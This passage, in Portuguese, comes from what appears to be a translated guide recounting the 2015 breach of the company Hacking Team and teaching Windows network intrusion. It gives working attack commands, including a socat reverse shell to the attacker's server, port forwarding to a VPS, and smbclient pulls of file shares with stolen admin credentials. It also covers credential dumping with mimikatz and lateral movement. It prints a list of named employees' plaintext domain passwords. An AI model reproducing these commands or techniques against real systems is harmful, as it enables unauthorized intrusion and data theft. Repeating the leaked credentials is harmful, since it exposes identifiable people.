&lt;p>Muitas informações sobre os funcionários e seus sistemas podem ser encontradas em metadados de arquivos que a empresa publicou. Ferramentas úteis para localização de arquivos no site da empresa e extração de metadados são metagoofil&lt;sup id="fnref:40">&lt;a href="#fn:40" class="footnote-ref" role="doc-noteref">40&lt;/a>&lt;/sup> e FOCA&lt;sup id="fnref:41">&lt;a href="#fn:41" class="footnote-ref" role="doc-noteref">41&lt;/a>&lt;/sup>.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;h2 id="5---entrando-na-rede">5 - Entrando na rede&lt;/h2>
&lt;p>Existem várias maneiras de obter uma posição segura. Como o método que usei contra o Hacking Team é incomum e muito mais trabalhoso do que o normalmente necessário, falarei um pouco sobre as duas formas mais comuns, que recomendo tentar primeiro.&lt;/p>
&lt;h3 id="51---engenharia-social">5.1 - Engenharia social&lt;/h3>
&lt;p>A engenharia social, especificamente o spear phishing, é responsável pela maioria dos hacks atualmente. Para uma introdução em espanhol, veja&lt;sup id="fnref:42">&lt;a href="#fn:42" class="footnote-ref" role="doc-noteref">42&lt;/a>&lt;/sup>. Para obter mais informações em inglês, consulte&lt;sup id="fnref:43">&lt;a href="#fn:43" class="footnote-ref" role="doc-noteref">43&lt;/a>&lt;/sup> (a terceira parte, &amp;ldquo;Ataques direcionados&amp;rdquo;). Para histórias divertidas sobre as façanhas de engenharia social das gerações anteriores, consulte&lt;sup id="fnref:44">&lt;a href="#fn:44" class="footnote-ref" role="doc-noteref">44&lt;/a>&lt;/sup>. Eu não queria tentar spear phishing na Hacking Team, já que todo o seu negócio é ajudar governos a fazer spear phishing em seus oponentes, então eles seriam muito mais propensos a reconhecer e investigar uma tentativa de spear phishing.&lt;/p>
&lt;h3 id="52---comprando-acesso">5.2 - Comprando Acesso&lt;/h3>
&lt;p>Graças aos trabalhadores russos e seus kits de exploração, vendedores de tráfego e criadores de bots, muitas empresas já comprometeram os computadores em suas redes. Quase todas as &lt;a href="https://fortune.com/global500/" target="_blank" rel="noopener noreferrer">Fortune 500&lt;/a>
, com suas enormes redes, já têm alguns bots dentro. No entanto, a Hacking Team é uma empresa muito pequena, e a maioria de seus funcionários são especialistas em infosec, então havia uma pequena chance de que eles já tivessem sido comprometidos.&lt;/p>
&lt;h3 id="53---technical-exploitation">5.3 - Technical Exploitation&lt;/h3>
&lt;p>Após o &lt;a href="https://www.zdnet.com/article/top-govt-spyware-company-hacked-gammas-finfisher-leaked/" target="_blank" rel="noopener noreferrer">hack do Gamma Group&lt;/a>
, descrevi um processo de busca de vulnerabilidades&lt;sup id="fnref:45">&lt;a href="#fn:45" class="footnote-ref" role="doc-noteref">45&lt;/a>&lt;/sup>. A Hacking Team tinha um intervalo de IP público:&lt;/p>
&lt;pre tabindex="0">&lt;code>inetnum: 93.62.139.32 - 93.62.139.47
descr: HT public subnet
&lt;/code>&lt;/pre>&lt;p>A Hacking Team teve pouquíssima exposição na internet. Por exemplo, ao contrário do Gamma Group, seu site de suporte ao cliente precisava de um certificado de cliente para se conectar. O que eles tinham era seu site principal (um blog do Joomla no qual o Joomscan&lt;sup id="fnref:46">&lt;a href="#fn:46" class="footnote-ref" role="doc-noteref">46&lt;/a>&lt;/sup> não encontrou nada sério), um servidor de e-mail, alguns roteadores, dois dispositivos VPN e um dispositivo de filtragem de spam. Então, eu tinha três opções: procurar um &lt;em>0-day&lt;/em> no Joomla, procurar um 0-day no postfix ou procurar um 0-day em um dos dispositivos embarcados. Um 0-day em um dispositivo embarcado parecia a opção mais fácil e, após duas semanas de trabalho de engenharia reversa, obtive um exploit de root remoto. Uma vez que as vulnerabilidades ainda não foram corrigidas, não vou dar mais detalhes, mas para mais informações sobre como encontrar esses tipos de vulnerabilidades, consulte&lt;sup id="fnref:47">&lt;a href="#fn:47" class="footnote-ref" role="doc-noteref">47&lt;/a>&lt;/sup> e&lt;sup id="fnref:48">&lt;a href="#fn:48" class="footnote-ref" role="doc-noteref">48&lt;/a>&lt;/sup>.&lt;/p>
&lt;h2 id="6---esteja-preparado">6 - Esteja preparado&lt;/h2>
&lt;p>Fiz muitos trabalhos e testes antes de usar o exploit contra Hacking Team. Eu escrevi um firmware backdoor e compilei várias ferramentas de post-exploitation para o dispositivo embutido. A porta dos fundos serve para proteger o exploit. Usar o exploit apenas uma vez e depois retornar pela porta dos fundos torna mais difícil identificar e corrigir as vulnerabilidades.&lt;/p>
&lt;p>As ferramentas post-exploitation que eu preparei foram:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>&lt;a href="https://www.busybox.net/" target="_blank" rel="noopener noreferrer">busybox&lt;/a>
&lt;/p>
&lt;p>Para todos os utilitários Unix padrão que o sistema não tinha.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://nmap.org/" target="_blank" rel="noopener noreferrer">nmap&lt;/a>
&lt;/p>
&lt;p>Para escanear e tirar impressões digitais da rede interna da Hacking Team.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://github.com/SpiderLabs/Responder" target="_blank" rel="noopener noreferrer">Responder.py&lt;/a>
&lt;/p>
&lt;p>A ferramenta mais útil para atacar redes do Windows quando você tem acesso à rede interna, mas nenhum usuário de domínio.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://github.com/bendmorris/static-python" target="_blank" rel="noopener noreferrer">Python&lt;/a>
&lt;/p>
&lt;p>Para executar o Responder.py&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="http://www.tcpdump.org/" target="_blank" rel="noopener noreferrer">tcpdump&lt;/a>
&lt;/p>
&lt;p>Para farejar o tráfego.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="http://www.monkey.org/~dugsong/dsniff/" target="_blank" rel="noopener noreferrer">dsniff&lt;/a>
&lt;/p>
&lt;p>Para farejar senhas de protocolos de texto simples como ftp e para arpspoofing. Eu queria usar o ettercap, escrito pelo próprio ALoR e NaGA do Hacking Team, mas foi difícil compilá-lo para o sistema.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="http://www.dest-unreach.org/socat/" target="_blank" rel="noopener noreferrer">socat&lt;/a>
&lt;/p>
&lt;p>Para um &lt;em>comfortable shell&lt;/em> com um pty:&lt;/p>
&lt;pre tabindex="0">&lt;code>my_server: socat file:`tty`,raw,echo=0 tcp-listen:my_port
hacked box: socat exec:&amp;#39;bash -li&amp;#39;,pty,stderr,setsid,sigint,sane
tcp:my_server:my_port
&lt;/code>&lt;/pre>&lt;p>E útil para muito mais, é um canivete suíço de rede. Veja a seção de exemplos de sua documentação.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://www.gnu.org/software/screen/" target="_blank" rel="noopener noreferrer">screen&lt;/a>
&lt;/p>
&lt;p>Como o shell com pty, não era realmente necessário, mas eu queria me sentir em casa na rede do Hacking Team.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="http://average-coder.blogspot.com/2011/09/simple-socks5-server-in-c.html" target="_blank" rel="noopener noreferrer">uma SOCKS proxy server&lt;/a>
&lt;/p>
&lt;p>Para usar com proxychains para poder acessar sua rede local de qualquer programa.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="http://tgcd.sourceforge.net/" target="_blank" rel="noopener noreferrer">tgcd&lt;/a>
&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>Para encaminhar portas, como para o servidor SOCKS, através do firewall.&lt;/p>
&lt;p>A pior coisa que poderia acontecer seria meu backdoor ou ferramentas post-exploitation tornar o sistema instável e fazer com que um funcionário investigasse. Então, passei uma semana testando minhas ferramentas de exploit, backdoor e post-exploitation nas redes de outras empresas vulneráveis antes de entrar na rede da Hacking Team.&lt;/p>
&lt;h2 id="7---ver-e-ouvir">7 - Ver e Ouvir&lt;/h2>
&lt;p>Agora, dentro de sua rede interna, eu queria dar uma olhada e pensar sobre meu próximo passo. Iniciei Responder.py em modo de análise (-A para ouvir sem enviar respostas envenenadas) e fiz uma varredura lenta com nmap.&lt;/p>
&lt;h2 id="8---nosql-databases">8 - NoSQL Databases&lt;/h2>
&lt;p>NoSQL, ou melhor, NoAuthentication, tem sido um grande presente para a comunidade hacker&lt;sup id="fnref:49">&lt;a href="#fn:49" class="footnote-ref" role="doc-noteref">49&lt;/a>&lt;/sup>. Apenas quando eu estava preocupado que eles finalmente corrigiram todos os bugs de bypass de autenticação no MySQL&lt;sup id="fnref:50">&lt;a href="#fn:50" class="footnote-ref" role="doc-noteref">50&lt;/a>&lt;/sup> &lt;sup id="fnref:51">&lt;a href="#fn:51" class="footnote-ref" role="doc-noteref">51&lt;/a>&lt;/sup> &lt;sup id="fnref:52">&lt;a href="#fn:52" class="footnote-ref" role="doc-noteref">52&lt;/a>&lt;/sup> &lt;sup id="fnref:53">&lt;a href="#fn:53" class="footnote-ref" role="doc-noteref">53&lt;/a>&lt;/sup>, novos bancos de dados entraram em estilo que não possuem autenticação por design. O Nmap encontrou alguns na rede interna do Hacking Team:&lt;/p>
&lt;pre tabindex="0">&lt;code>27017/tcp open mongodb MongoDB 2.6.5
| mongodb-databases:
| ok = 1
| totalSizeMb = 47547
| totalSize = 49856643072
...
|_ version = 2.6.527017/tcp open mongodb MongoDB 2.6.5
| mongodb-databases:
| ok = 1
| totalSizeMb = 31987
| totalSize = 33540800512
| databases
...
|_ version = 2.6.5
&lt;/code>&lt;/pre>&lt;p>Eles eram os bancos de dados para instâncias de teste do RCS. O áudio que o RCS grava é armazenado no MongoDB com GridFS. A pasta de áudio no torrent &lt;sup id="fnref:54">&lt;a href="#fn:54" class="footnote-ref" role="doc-noteref">54&lt;/a>&lt;/sup> veio disso. Eles estavam espionando a si mesmos sem querer.&lt;/p>
&lt;h2 id="9---cabos-cruzados">9 - Cabos Cruzados&lt;/h2>
&lt;p>Embora fosse divertido ouvir as gravações e ver as imagens da webcam do Hacking Team desenvolvendo seu malware, não era muito útil. Seus backups inseguros foram a vulnerabilidade que abriu suas portas. De acordo com sua documentação&lt;sup id="fnref:55">&lt;a href="#fn:55" class="footnote-ref" role="doc-noteref">55&lt;/a>&lt;/sup>, seus dispositivos iSCSI deveriam estar em uma rede separada, mas o nmap encontrou alguns em sua sub-rede 192.168.1.200/24:&lt;/p>
&lt;pre tabindex="0">&lt;code>Nmap scan report for ht-synology.hackingteam.local (192.168.200.66)
...
3260/tcp open iscsi?
| iscsi-info:
| Target: iqn.2000-01.com.synology:ht-synology.name
| Address: 192.168.200.66:3260,0
|_ Authentication: No authentication requiredNmap scan report for synology-backup.hackingteam.local (192.168.200.72)
...
3260/tcp open iscsi?
| iscsi-info:
| Target: iqn.2000-01.com.synology:synology-backup.name
| Address: 10.0.1.72:3260,0
| Address: 192.168.200.72:3260,0
|_ Authentication: No authentication required
&lt;/code>&lt;/pre>&lt;p>O iSCSI precisa de um módulo de kernel e seria difícil compilá-lo para o sistema embarcado. Encaminhei a porta para que pudesse montá-la a partir de um VPS:&lt;/p>
&lt;pre tabindex="0">&lt;code>VPS: tgcd -L -p 3260 -q 42838
Embedded system: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838
VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1
&lt;/code>&lt;/pre>&lt;p>Agora o iSCSI encontra o nome iqn.2000-01.com.synology, mas tem problemas para montá-lo porque pensa que seu IP é 192.168.200.72 em vez de 127.0.0.1&lt;/p>
&lt;p>A maneira como resolvi foi:&lt;/p>
&lt;pre tabindex="0">&lt;code>iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1
&lt;/code>&lt;/pre>&lt;p>E agora, depois:&lt;/p>
&lt;pre tabindex="0">&lt;code>iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 --login
&lt;/code>&lt;/pre>&lt;p>&amp;hellip;o arquivo do dispositivo aparece! Nós montamos isso:&lt;/p>
&lt;pre tabindex="0">&lt;code>vmfs-fuse -o ro /dev/sdb1 /mnt/tmp
&lt;/code>&lt;/pre>&lt;p>e encontrar backups de várias máquinas virtuais. O servidor Exchange parecia o mais interessante. Era muito grande para baixar, mas foi possível montá-lo remotamente para procurar arquivos interessantes:&lt;/p>
&lt;pre tabindex="0">&lt;code>$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
$ fdisk -l /dev/loop0
/dev/loop0p1 2048 1258287103 629142528 7 HPFS/NTFS/exFAT
&lt;/code>&lt;/pre>&lt;p>então o deslocamento é 2048 * 512 = 1048576&lt;/p>
&lt;pre tabindex="0">&lt;code>$ losetup -o 1048576 /dev/loop1 /dev/loop0
$ mount -o ro /dev/loop1 /mnt/exchange/
&lt;/code>&lt;/pre>&lt;p>agora em /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311
encontramos o disco rígido da VM e o montamos:&lt;/p>
&lt;pre tabindex="0">&lt;code>vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1
&lt;/code>&lt;/pre>&lt;p>&amp;hellip;e finalmente descompactamos a boneca russa e podemos ver todos os arquivos do antigo servidor Exchange em /mnt/part1&lt;/p>
&lt;h2 id="10---bbackups-para-domain-admin">10 - Bbackups para Domain Admin&lt;/h2>
&lt;p>O que mais me interessou no backup foi ver se tinha uma senha ou hash que pudesse ser usada para acessar o servidor live. Usei pwdump, cachedump e lsadump&lt;sup id="fnref:56">&lt;a href="#fn:56" class="footnote-ref" role="doc-noteref">56&lt;/a>&lt;/sup> nas seções do registro. lsadump encontrou a senha da conta de serviço besadmin:&lt;/p>
&lt;pre tabindex="0">&lt;code>_SC_BlackBerry MDS Connection Service
0000 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0010 62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00 b.e.s.3.2.6.7.8.
0020 21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00 !.!.!...........
&lt;/code>&lt;/pre>&lt;p>Usei proxychains&lt;sup id="fnref:57">&lt;a href="#fn:57" class="footnote-ref" role="doc-noteref">57&lt;/a>&lt;/sup> com o servidor socks no dispositivo embutido e smbclient&lt;sup id="fnref:58">&lt;a href="#fn:58" class="footnote-ref" role="doc-noteref">58&lt;/a>&lt;/sup> para verificar a senha:&lt;/p>
&lt;pre tabindex="0">&lt;code>proxychains smbclient &amp;#39;//192.168.100.51/c$&amp;#39; -U &amp;#39;hackingteam.local/besadmin%bes32678!!!&amp;#39;
&lt;/code>&lt;/pre>&lt;p>Funcionou! A senha para besadmin ainda era válida, e um administrador local. Eu usei meu proxy e o psexec_psh do metasploit&lt;sup id="fnref:59">&lt;a href="#fn:59" class="footnote-ref" role="doc-noteref">59&lt;/a>&lt;/sup> para obter uma sessão do meterpreter. Em seguida, migrei para um processo de 64 bits, executei &amp;ldquo;load kiwi&amp;rdquo;&lt;sup id="fnref:60">&lt;a href="#fn:60" class="footnote-ref" role="doc-noteref">60&lt;/a>&lt;/sup>, &amp;ldquo;creds_wdigest&amp;rdquo; e recebi um monte de senhas, incluindo o Domain Admin:&lt;/p>
&lt;pre tabindex="0">&lt;code>HACKINGTEAM BESAdmin bes32678!!!
HACKINGTEAM Administrator uu8dd8ndd12!
HACKINGTEAM c.pozzi P4ssword &amp;lt;---- lol excelente sysadmin
HACKINGTEAM m.romeo ioLK/(90
HACKINGTEAM l.guerra 4luc@=.=
HACKINGTEAM d.martinez W4tudul3sp
HACKINGTEAM g.russo GCBr0s0705!
HACKINGTEAM a.scarafile Cd4432996111
HACKINGTEAM r.viscardi Ht2015!
HACKINGTEAM a.mino A!e$$andra
HACKINGTEAM m.bettini Ettore&amp;amp;Bella0314
HACKINGTEAM m.luppi Blackou7
HACKINGTEAM s.gallucci 1S9i8m4o!
HACKINGTEAM d.milan set!dob66
HACKINGTEAM w.furlan Blu3.B3rry!
HACKINGTEAM d.romualdi Rd13136f@#
HACKINGTEAM l.invernizzi L0r3nz0123!
HACKINGTEAM e.ciceri 2O2571&amp;amp;2E
HACKINGTEAM e.rabe erab@4HT!
&lt;/code>&lt;/pre>&lt;h2 id="11---baixando-o-e-mail">11 - Baixando o e-mail&lt;/h2>
&lt;p>Com a senha do Domain Admin, tenho acesso ao e-mail, coração da empresa. Como cada passo que dou há uma chance de ser detectado, começo a baixar o e-mail antes de continuar a explorar. O Powershell facilita isso[^61]. Curiosamente, encontrei um bug no manuseio de datas do Powershell. Depois de baixar os e-mails, demorei mais algumas semanas para obter acesso ao código-fonte e tudo mais, então eu voltava de vez em quando para baixar os novos e-mails. O servidor era italiano, com datas no formato day/month/year. Eu usei:&lt;/p>
&lt;pre tabindex="0">&lt;code>-ContentFilter {(Received -ge &amp;#39;05/06/2015&amp;#39;) -or (Sent -ge &amp;#39;05/06/2015&amp;#39;)}
&lt;/code>&lt;/pre>&lt;p>com New-MailboxExportRequest para baixar os novos emails (neste caso, todos os emails desde 5 de junho). O problema é que diz que a data é inválida se você tentar um dia maior que 12 (imagino porque nos EUA o mês vem primeiro e você não pode ter um mês acima de 12). Parece que os engenheiros da Microsoft apenas testam seu software com sua própria localidade.&lt;/p>
&lt;p>[^61] &lt;a href="http://www.stevieg.org/2010/07/using-the-exchange-2010-sp1-mailbox-export-features-for-mass-exports-to-pst/" target="_blank" rel="noopener noreferrer">http://www.stevieg.org/2010/07/using-the-exchange-2010-sp1-mailbox-export-features-for-mass-exports-to-pst/&lt;/a>
&lt;/p>
&lt;h2 id="12---baixando-arquivos">12 - Baixando Arquivos&lt;/h2>
&lt;p>Agora que obtive o Domain Admin, comecei a baixar arquivos compartilhados usando meu proxy e a opção -Tc de smbclient, por exemplo:&lt;/p>
&lt;pre tabindex="0">&lt;code>proxychains smbclient &amp;#39;//192.168.1.230/FAE DiskStation&amp;#39;
-U &amp;#39;HACKINGTEAM/Administrator%uu8dd8ndd12!&amp;#39; -Tc FAE_DiskStation.tar &amp;#39;*&amp;#39;
&lt;/code>&lt;/pre>&lt;p>Eu baixei as pastas Amministrazione, FAE DiskStation e FileServer no torrent assim.&lt;/p>
&lt;h2 id="13---introdução-à-invasão-de-domínios-do-windows">13 - Introdução à invasão de domínios do Windows&lt;/h2>
&lt;p>Antes de continuar com a história dos &amp;ldquo;weones culiaos&amp;rdquo; (Hacking Team), devo dar alguns conhecimentos gerais sobre hacking em redes windows.&lt;/p>
&lt;h3 id="131---movimento-lateral">13.1 - Movimento Lateral&lt;/h3>
&lt;p>Farei uma breve revisão das diferentes técnicas de propagação em uma rede Windows. As técnicas de execução remota requerem a senha ou hash de um administrador local no destino. De longe, a maneira mais comum de obter essas credenciais é usando mimikatz&lt;sup id="fnref:61">&lt;a href="#fn:61" class="footnote-ref" role="doc-noteref">61&lt;/a>&lt;/sup>, especialmente sekurlsa::logonpasswords e sekurlsa::msv, nos computadores onde você já tem acesso de administrador. As técnicas para movimento &amp;ldquo;no local&amp;rdquo; também requerem privilégios administrativos (exceto para runas). As ferramentas mais importantes para escalonamento de privilégios são PowerUp&lt;sup id="fnref:62">&lt;a href="#fn:62" class="footnote-ref" role="doc-noteref">62&lt;/a>&lt;/sup> e bypassuac&lt;sup id="fnref:63">&lt;a href="#fn:63" class="footnote-ref" role="doc-noteref">63&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>Movimento Remoto:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>psexec&lt;/p>
&lt;p>O método testado e comprovado para movimento lateral em Windows. Você pode usar psexec&lt;sup id="fnref:64">&lt;a href="#fn:64" class="footnote-ref" role="doc-noteref">64&lt;/a>&lt;/sup>, winexe&lt;sup id="fnref:65">&lt;a href="#fn:65" class="footnote-ref" role="doc-noteref">65&lt;/a>&lt;/sup>, metasploit&amp;rsquo;s psexec_psh&lt;sup id="fnref:66">&lt;a href="#fn:66" class="footnote-ref" role="doc-noteref">66&lt;/a>&lt;/sup>, Powershell Empire&amp;rsquo;s invoke_psexec&lt;sup id="fnref:67">&lt;a href="#fn:67" class="footnote-ref" role="doc-noteref">67&lt;/a>&lt;/sup> ou o comando interno do Windows &amp;ldquo;sc&amp;rdquo;&lt;sup id="fnref:68">&lt;a href="#fn:68" class="footnote-ref" role="doc-noteref">68&lt;/a>&lt;/sup>. Para o módulo metasploit, powershell impire e pth-winexe&lt;sup id="fnref:69">&lt;a href="#fn:69" class="footnote-ref" role="doc-noteref">69&lt;/a>&lt;/sup>, você só precisa do hash, não da senha. É o método mais universal (funciona em qualquer computador Windows com a porta 445 aberta), mas também é menos furtivo. O tipo de evento 7045 &amp;ldquo;Service Control Manager&amp;rdquo; aparecerá nos logs de eventos. Em minha experiência, ninguém nunca percebeu durante um hack, mas ajuda os investigadores a descobrir o que o hacker fez depois.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>WMI&lt;/p>
&lt;p>O método mais furtivo. O serviço WMI é habilitado em todos os computadores Windows, mas exceto para servidores, o firewall o bloqueia por padrão. Você pode usar wmiexec.py&lt;sup id="fnref:70">&lt;a href="#fn:70" class="footnote-ref" role="doc-noteref">70&lt;/a>&lt;/sup>, pth-wmis&lt;sup id="fnref1:69">&lt;a href="#fn:69" class="footnote-ref" role="doc-noteref">69&lt;/a>&lt;/sup> (aqui está uma demonstração de wmiexec e pth-wmis&lt;sup id="fnref:71">&lt;a href="#fn:71" class="footnote-ref" role="doc-noteref">71&lt;/a>&lt;/sup>), invoke_wmi do Powershell Empire&lt;sup id="fnref:72">&lt;a href="#fn:72" class="footnote-ref" role="doc-noteref">72&lt;/a>&lt;/sup> ou o windows embutido wmic&lt;sup id="fnref:73">&lt;a href="#fn:73" class="footnote-ref" role="doc-noteref">73&lt;/a>&lt;/sup>. Todos, exceto wmic, só precisam do hash.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>PSRemoting&lt;sup id="fnref:74">&lt;a href="#fn:74" class="footnote-ref" role="doc-noteref">74&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Ele está desabilitado por padrão e não recomendo habilitar novos protocolos. Mas, se o sysadmin já o habilitou, é muito conveniente, especialmente se você usar o PowerShell para tudo (e você deve usar o PowerShell para quase tudo, ele mudará&lt;sup id="fnref:75">&lt;a href="#fn:75" class="footnote-ref" role="doc-noteref">75&lt;/a>&lt;/sup> com o PowerShell 5 e Windows 10, mas por enquanto o PowerShell o torna fácil de fazer tudo na RAM, evite AV e deixe uma pequena pegada)&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Scheduled Tasks&lt;/p>
&lt;p>Você pode executar programas remotos com AT e schtasks&lt;sup id="fnref1:68">&lt;a href="#fn:68" class="footnote-ref" role="doc-noteref">68&lt;/a>&lt;/sup>. Ele funciona nas mesmas situações em que você poderia usar psexec, e também deixa uma marca conhecida&lt;sup id="fnref:76">&lt;a href="#fn:76" class="footnote-ref" role="doc-noteref">76&lt;/a>&lt;/sup>.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>GPO&lt;/p>
&lt;p>Se todos esses protocolos forem desabilitados ou bloqueados pelo firewall, uma vez que você seja o Domain Admin, você pode usar o GPO para dar aos usuários um script de login, instalar um msi, executar uma tarefa agendada&lt;sup id="fnref:77">&lt;a href="#fn:77" class="footnote-ref" role="doc-noteref">77&lt;/a>&lt;/sup>, ou, como veremos com no computador de Mauro Romeo (um dos administradores de sistema do Hacking Team), use o GPO para habilitar o WMI e abrir o firewall.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>Movimento &amp;ldquo;in plac&amp;rdquo;:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Roubo de Token&lt;/p>
&lt;p>Depois de ter acesso de administrador em um computador, você pode usar os tokens dos outros usuários para acessar recursos no domínio. Duas ferramentas para fazer isso são incógnito&lt;sup id="fnref1:77">&lt;a href="#fn:77" class="footnote-ref" role="doc-noteref">77&lt;/a>&lt;/sup> e os comandos mimikatz token::*&lt;sup id="fnref:78">&lt;a href="#fn:78" class="footnote-ref" role="doc-noteref">78&lt;/a>&lt;/sup>.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>MS14-068&lt;/p>
&lt;p>Você pode tirar vantagem de um bug de validação no Kerberos para gerar tíquetes de Domain Admin&lt;sup id="fnref:79">&lt;a href="#fn:79" class="footnote-ref" role="doc-noteref">79&lt;/a>&lt;/sup> &lt;sup id="fnref:80">&lt;a href="#fn:80" class="footnote-ref" role="doc-noteref">80&lt;/a>&lt;/sup> &lt;sup id="fnref:81">&lt;a href="#fn:81" class="footnote-ref" role="doc-noteref">81&lt;/a>&lt;/sup>.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Passe o Hash&lt;/p>
&lt;p>Se você tem um hash de usuário, mas ele não está logado, você pode usar sekurlsa::pth&lt;sup id="fnref1:78">&lt;a href="#fn:78" class="footnote-ref" role="doc-noteref">78&lt;/a>&lt;/sup> para obter um ticket para o usuário.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Injeção de Processos&lt;/p>
&lt;p>Qualquer RAT pode se injetar em outros processos. Por exemplo, o comando migrate em meterpreter e pupy&lt;sup id="fnref:82">&lt;a href="#fn:82" class="footnote-ref" role="doc-noteref">82&lt;/a>&lt;/sup>, ou o comando psinject&lt;sup id="fnref:83">&lt;a href="#fn:83" class="footnote-ref" role="doc-noteref">83&lt;/a>&lt;/sup> em powershell empire. Você pode injetar no processo o token desejado.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>runas&lt;/p>
&lt;p>Isso às vezes é muito útil, pois não requer privilégios de administrador. O comando faz parte do Windows, mas se você não tiver uma GUI, pode usar o PowerShell&lt;sup id="fnref:84">&lt;a href="#fn:84" class="footnote-ref" role="doc-noteref">84&lt;/a>&lt;/sup>.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;h3 id="132---persistência">13.2 - Persistência&lt;/h3>
&lt;p>Depois de ter acesso, você deseja mantê-lo. Na verdade, a persistência é apenas um desafio para idiotas como a Hacking Team que tem como alvo ativistas e outros indivíduos. Para hackear empresas, a persistência não é necessária, pois as empresas nunca dormem. Eu sempre uso o estilo &amp;ldquo;persistência&amp;rdquo; do Duqu 2, executando na RAM em alguns servidores de alto tempo de atividade. Na chance de que todos eles reiniciem ao mesmo tempo, eu tenho senhas e um ticket dourado&lt;sup id="fnref:85">&lt;a href="#fn:85" class="footnote-ref" role="doc-noteref">85&lt;/a>&lt;/sup> como acesso de backup. Você pode ler mais sobre as diferentes técnicas de persistência no Windows aqui&lt;sup id="fnref:86">&lt;a href="#fn:86" class="footnote-ref" role="doc-noteref">86&lt;/a>&lt;/sup> &lt;sup id="fnref:87">&lt;a href="#fn:87" class="footnote-ref" role="doc-noteref">87&lt;/a>&lt;/sup> &lt;sup id="fnref:88">&lt;a href="#fn:88" class="footnote-ref" role="doc-noteref">88&lt;/a>&lt;/sup>. Mas para empresas de hackers, não é necessário e aumenta o risco de detecção.&lt;/p>
&lt;h3 id="133---reconhecimento-interno">13.3 - Reconhecimento interno&lt;/h3>
&lt;p>A melhor ferramenta hoje em dia para entender as redes Windows é o Powerview&lt;sup id="fnref:89">&lt;a href="#fn:89" class="footnote-ref" role="doc-noteref">89&lt;/a>&lt;/sup>. Vale a pena ler tudo o que foi escrito por seu autor&lt;sup id="fnref:90">&lt;a href="#fn:90" class="footnote-ref" role="doc-noteref">90&lt;/a>&lt;/sup>, principalmente&lt;sup id="fnref:91">&lt;a href="#fn:91" class="footnote-ref" role="doc-noteref">91&lt;/a>&lt;/sup>,&lt;sup id="fnref:92">&lt;a href="#fn:92" class="footnote-ref" role="doc-noteref">92&lt;/a>&lt;/sup>,&lt;sup id="fnref:93">&lt;a href="#fn:93" class="footnote-ref" role="doc-noteref">93&lt;/a>&lt;/sup> e&lt;sup id="fnref:94">&lt;a href="#fn:94" class="footnote-ref" role="doc-noteref">94&lt;/a>&lt;/sup>. O Powershell em si também é bastante poderoso&lt;sup id="fnref:95">&lt;a href="#fn:95" class="footnote-ref" role="doc-noteref">95&lt;/a>&lt;/sup>. Como ainda existem muitos servidores Windows 2000 e 2003 sem o PowerShell, você também precisa aprender a velha escola&lt;sup id="fnref:96">&lt;a href="#fn:96" class="footnote-ref" role="doc-noteref">96&lt;/a>&lt;/sup>, com programas como o netview.exe&lt;sup id="fnref:97">&lt;a href="#fn:97" class="footnote-ref" role="doc-noteref">97&lt;/a>&lt;/sup> ou o &amp;ldquo;net view&amp;rdquo; embutido no Windows. Outras técnicas que gosto são:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Baixando uma lista de nomes de arquivo&lt;/p>
&lt;p>Com uma conta de Domain Admin, você pode baixar uma lista de todos os nomes de arquivos na rede com powerview:&lt;/p>
&lt;/li>
&lt;/ol>
&lt;pre tabindex="0">&lt;code> Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |
select-string &amp;#39;^(.*) \t-&amp;#39; | %{dir -recurse $_.Matches[0].Groups[1] |
select fullname | out-file -append files.txt}
&lt;/code>&lt;/pre>&lt;p>Posteriormente, você poderá lê-lo à vontade e escolher os arquivos que deseja baixar.&lt;/p>
&lt;ol start="2">
&lt;li>
&lt;p>Lendo e-mail&lt;/p>
&lt;p>Como já vimos, você pode baixar o e-mail com o PowerShell, e ele contém muitas informações úteis.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Lendo o sharepoint&lt;/p>
&lt;p>É outro local onde muitas empresas armazenam muitas informações importantes. Ele também pode ser baixado com o PowerShell&lt;sup id="fnref:98">&lt;a href="#fn:98" class="footnote-ref" role="doc-noteref">98&lt;/a>&lt;/sup>.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Diretório Ativo&lt;sup id="fnref:99">&lt;a href="#fn:99" class="footnote-ref" role="doc-noteref">99&lt;/a>&lt;/sup>&lt;/p>
